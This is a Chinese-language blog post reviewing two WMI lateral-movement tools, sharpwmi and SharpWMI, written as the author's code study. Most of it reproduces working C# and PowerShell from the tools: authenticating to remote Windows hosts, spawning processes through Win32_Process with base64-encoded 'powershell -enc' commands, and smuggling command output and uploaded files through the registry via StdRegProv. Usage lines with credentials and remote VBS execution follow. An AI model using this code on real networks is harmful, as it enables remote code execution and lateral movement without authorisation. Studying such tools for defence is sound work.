SharpWMI-基于135端口来进行横向移动的工具

SharpWMI-基于135端口来进行横向移动的工具

这两天逛github看到Ateam的师傅们上了个工具sharpwmi
想到上个月在哪里看到一个相似功能的工具SharpWMI,就把两个工具放在一起看下代码,正好最近还在学C#。


sharpwmi-Ateam

这个工具的注释和作者的代码都比较清晰,所以先看下这个。

使用说明

sharpwmi.exe 192.168.2.3 administrator 123 cmd whoami

介绍

这是一个基于135端口来进行横向移动的工具,具有执行命令和上传文件功能,通过wmi来执行命令,通过注册表来进行数据传输.

执行命令

通过wmi来执行命令,server将命令结果存在本机注册表,然后client连接注册表进行读取命令结果

上传文件

client将需要上传的文件放到server的注册表里面,然后server通过powershell来操作注册表方式来取文件然后释放到本地

代码

接收传入用户名密码建立连接

ConnectionOptions options = new ConnectionOptions();
            string host = args[0];
            options.Username = args[1];
            options.Password = args[2];
            int delay = 5000;
            this.scope = new ManagementScope("\\\\" + host + "\\root\\cimv2", options);
            this.scope.Options.Impersonation = System.Management.ImpersonationLevel.Impersonate;
            this.scope.Options.EnablePrivileges = true;
            this.scope.Connect();

使用常见的命令空间\root\cimv2

执行命令存入注册表

 string powershell_command = "powershell -enc " + Base64Encode(args[4]);

                string code = "$a=(" + powershell_command + ");$b=[Convert]::ToBase64String([System.Text.UnicodeEncoding]::Unicode.GetBytes($a));$reg = Get-WmiObject -List -Namespace root\\default | Where-Object {$_.Name -eq \"StdRegProv\"};$reg.SetStringValue(2147483650,\"\",\"txt\",$b)";


                ExecCmd("powershell -enc " + Base64Encode(code)); //传入执行
                Console.WriteLine("[+]Exec done!\n");
                Thread.Sleep(delay);

                //this.ExecCmd("whoami");
                // 读取注册表
                ManagementClass registry = new ManagementClass(this.scope, new ManagementPath("StdRegProv"), null);
                ManagementBaseObject inParams = registry.GetMethodParameters("GetStringValue");

                inParams["sSubKeyName"] = "";
                inParams["sValueName"] = "txt";
                ManagementBaseObject outParams = registry.InvokeMethod("GetStringValue", inParams, null);
                // (String)outParams["sValue"];

                Console.WriteLine("[+]output -> \n\n" + Base64Decode(outParams["sValue"].ToString()));

先将执行命令base64转换,然后利用powershell -enc执行。
在执行过程中利用$b=[Convert]::ToBase64String([System.Text.UnicodeEncoding]::Unicode.GetBytes($a));
将\$a 在转成base64

$reg = Get-WmiObject -List -Namespace root\\default | Where-Object {$_.Name -eq \"StdRegProv\"};$reg.SetStringValue(2147483650,\"\",\"txt\",$b)

其中2147483650值是指HKEY_LOCAL_MACHINE
StdRegProv 是 WMI 的名称空间 root\DEFAULT 中的一个子类,有16个方法。StdRegProv 类包含与系统注册表有关的方法。可用这些方法来:验证用户的访问权;创建、枚举、和删除注册表项;创建、枚举、和删除键值;读取、修改、和删除数据。
利用StdRegProv操作注册表将\$b中转码的内容写入到键值中。
然后再读取注册表内容并输出。

 public static string Base64Encode(string content)
        {
            byte[] bytes = Encoding.Unicode.GetBytes(content);
            return Convert.ToBase64String(bytes);
        }
        public static string Base64Decode(string content)
        {
            byte[] bytes = Convert.FromBase64String(content);
            return Encoding.Unicode.GetString(bytes);
        }

wmi创建远程进程执行传入powershell

public Int32 ExecCmd(string cmd)
        {

            using (var managementClass = new ManagementClass(this.scope,new ManagementPath("Win32_Process"),new ObjectGetOptions()))
            {
                var inputParams = managementClass.GetMethodParameters("Create");

                inputParams["CommandLine"] = cmd;

                var outParams = managementClass.InvokeMethod("Create", inputParams, new InvokeMethodOptions());
                return 1;
            }
        }

利用ManagementClass类初始化一个进程new ManagementPath("Win32_Process")建立进程操作对象

var inputParams = managementClass.GetMethodParameters("Create");

                inputParams["CommandLine"] = cmd;

获得用来提供参数的对象、设定命令行参数、执行程序。

文件上传

                //写注册表
                byte[] str = File.ReadAllBytes(args[4]);
                ManagementClass registry = new ManagementClass(this.scope, new ManagementPath("StdRegProv"), null);
                ManagementBaseObject inParams = registry.GetMethodParameters("SetStringValue");
                inParams["hDefKey"] = 2147483650; //HKEY_LOCAL_MACHINE;
                inParams["sSubKeyName"] = @"";
                inParams["sValueName"] = "upload";
                inParams["sValue"] = Convert.ToBase64String(str);
                ManagementBaseObject outParams = registry.InvokeMethod("SetStringValue", inParams, null);
                //通过注册表还原文件
                string pscode = string.Format("$wmi = [wmiclass]\"Root\\default:stdRegProv\";$data=($wmi.GetStringValue(2147483650,\"\",\"upload\")).sValue;$byteArray = [Convert]::FromBase64String($data);[io.file]::WriteAllBytes(\"{0:s}\",$byteArray);;", args[5]);
                string powershell_command = "powershell -enc " + Base64Encode(pscode);
                Thread.Sleep(delay);
                ExecCmd(powershell_command);
                Console.WriteLine("[+]Upload file done!");
                return;

原理和上面命令执行回显相同,都是写入到注册表中,但是由于键值大小限制,无法写入过大文件。

SharpWMI-harmj0y

说明

SharpWMI是利用C#实现WMI的个中的那个。 包括本地/远程WMI查询,通过win32_process创建远程WMI进程,杀死远程进程,枚举远程防火墙信息以及通过WMI事件远程执行任意VBS。

使用

SharpWMI.exe action=query query="select * from win32_process"
SharpWMI.exe action=query query="SELECT * FROM AntiVirusProduct" namespace="root\SecurityCenter2"
SharpWMI.exe action=query computername=primary.testlab.local query="select * from win32_service"
SharpWMI.exe action=query computername=primary,secondary query="select * from win32_process"
SharpWMI.exe action=create computername=primary.testlab.local command="powershell.exe -enc ZQBj..."
SharpWMI.exe action=executevbs computername=primary.testlab.local username="TESTLAB\harmj0y" password="Password123!"

更多

这个功能更多,可以多台机器,可以执行命令,执行vbs(默认需要在代码中修改vbs脚本内容),自己看吧。
还可以直接执行wmi的查询和指定命名空间。
代码太长,拿出来和上面都差不多。Ateam师傅原理和这个的命令执行相同,但是巧妙的利用注册表存储信息,实现了回显和小文件传输的功能。

5.1快乐

https://github.com/QAX-A-Team/sharpwmi
https://github.com/GhostPack/SharpWMI

本文链接:

http://www.8sec.cc/index.php/archives/375/
1 + 5 =
快来做第一个评论的人吧~